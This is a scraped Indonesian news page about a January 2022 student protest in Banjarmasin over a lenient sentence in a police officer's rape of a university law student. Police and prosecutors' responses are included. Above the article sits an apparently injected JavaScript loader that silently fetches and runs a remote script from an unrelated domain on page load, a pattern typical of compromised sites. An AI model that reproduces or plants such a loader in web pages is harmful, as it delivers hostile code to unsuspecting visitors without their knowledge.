(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ratusan mahasiswa gabungan dari badan Eksekutif Mahasiswa (BEM) Universitas Lambung Mangkurat (ULM), BEM Fakultas Hukum ULM, BEM Fakultas Sosial dan Politik (FISIP) ULM, BEM UNISKA, dan segenap mahasiswa lainnya melakukan aksi seruan solidaritas, Kamis (27/1/2022) siang.
Sejak pukul 14.00 Wita ratusan mahasiswa telah memadati jalan di titik 0 Km Siring Bekantan Banjarmasin.
Kemudian aksi dilakukan di jalan depan halaman gedung Kejaksaan Tinggi (Kejati) Kalimantan Selatan. Mahasiswa gabungan sejumlah perguruan tinggi di Kalsel mempertanyakan vonis dan tuntutan ringan kasus perkosaan oknum polisi kepada mahasiswa FH ULM Banjarmasin.
Kordinator aksi dari BEM FH ULM, Andhika dalam orasinya mempertanyakan mengapa Jaksa Penuntun Umum (JPU) dalam penanganan kasus kekerasan seksual terhadap DVPS langsung menerima saat putusan itu ditetapkan Pengadilan Negeri (PN) Banjarmasin.
Baca juga : PENTING. Layanan Kesehatan di Rumah Sudah Bisa Dinikmati Warga Banjarbaru!
Mahasiswa juga menanyakan mengapa Polresta Banjarmasin dan Kejaksaan Negeri Banjarmasin tidak melakukan konfirmasi kepada pihak fakultas maupun universitas bahwa telah terjadi kasus pemerkosaan terhadap mahasiswi ULM.
“Kami juga mempertanyakan kenapa JPU melakukan banding di luar masa tenggat banding. Maka dari itu teman-teman semuanya hari ini kita bertarung secara intelektual dengan JPU,” katanya.
Aksi mahasiswa ini diterima Kapolres Banjarmasin Kombes Pol Sabana Atmojo dan Romadu NS, Kapenkum Kejati Kalsel.
Kombes Pol Sabana menyampaikan, pihaknya sangat mengutuk dan meminta maaf atas perbuatan yang dilakukan oleh oknum polisi polisi Bripka BT.
Baca juga : 288 Karyawan PDAM Kapuas Batal Dirumahkan, Ini Penjelasan Pjs Direktur
Pihak kepolisian sudah memberikan hukuman terberat kepada BT yaitu dengan melakukan Pemberhentian dengan Tidak Hormat (PTDH).
“Yang bersangkutan sudah kami PTDH. Di kepolisian tugas kami mempenjarakan yang bersangkutan dan melakukan melakukan PTDH adalah hukuman terberat yang kami berikan,” ucapnya.
Sabana melanjutkan dengan memberikan jaminan jabatan Kapolres yang sedang dijabat, untuk menepati janji kepada para mahasiswa agar secepatnya melakukan upacara pemberhentian terhadap oknum BT.
Aksi berlanjut dengan tuntutan mahasiswa agar dua JPU dalam kasus ini yakni Seliya Yustika Sari dan Alpha Fauzan dapat dihadirkan pada mimbar di tengah aksi tersebut, untuk menjawab beberapa pertanyaan dari para mahasiswa.
Kapenkum Kejati Kalsel, Romadu berjanji untuk menghadirkan JPU untuk menjelaskan bagaimana penanganan kasus tersebut, namun dengan syarat pertanyaan yang dilontarkan terbatas yaitu hanya tiga pertanyaan. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.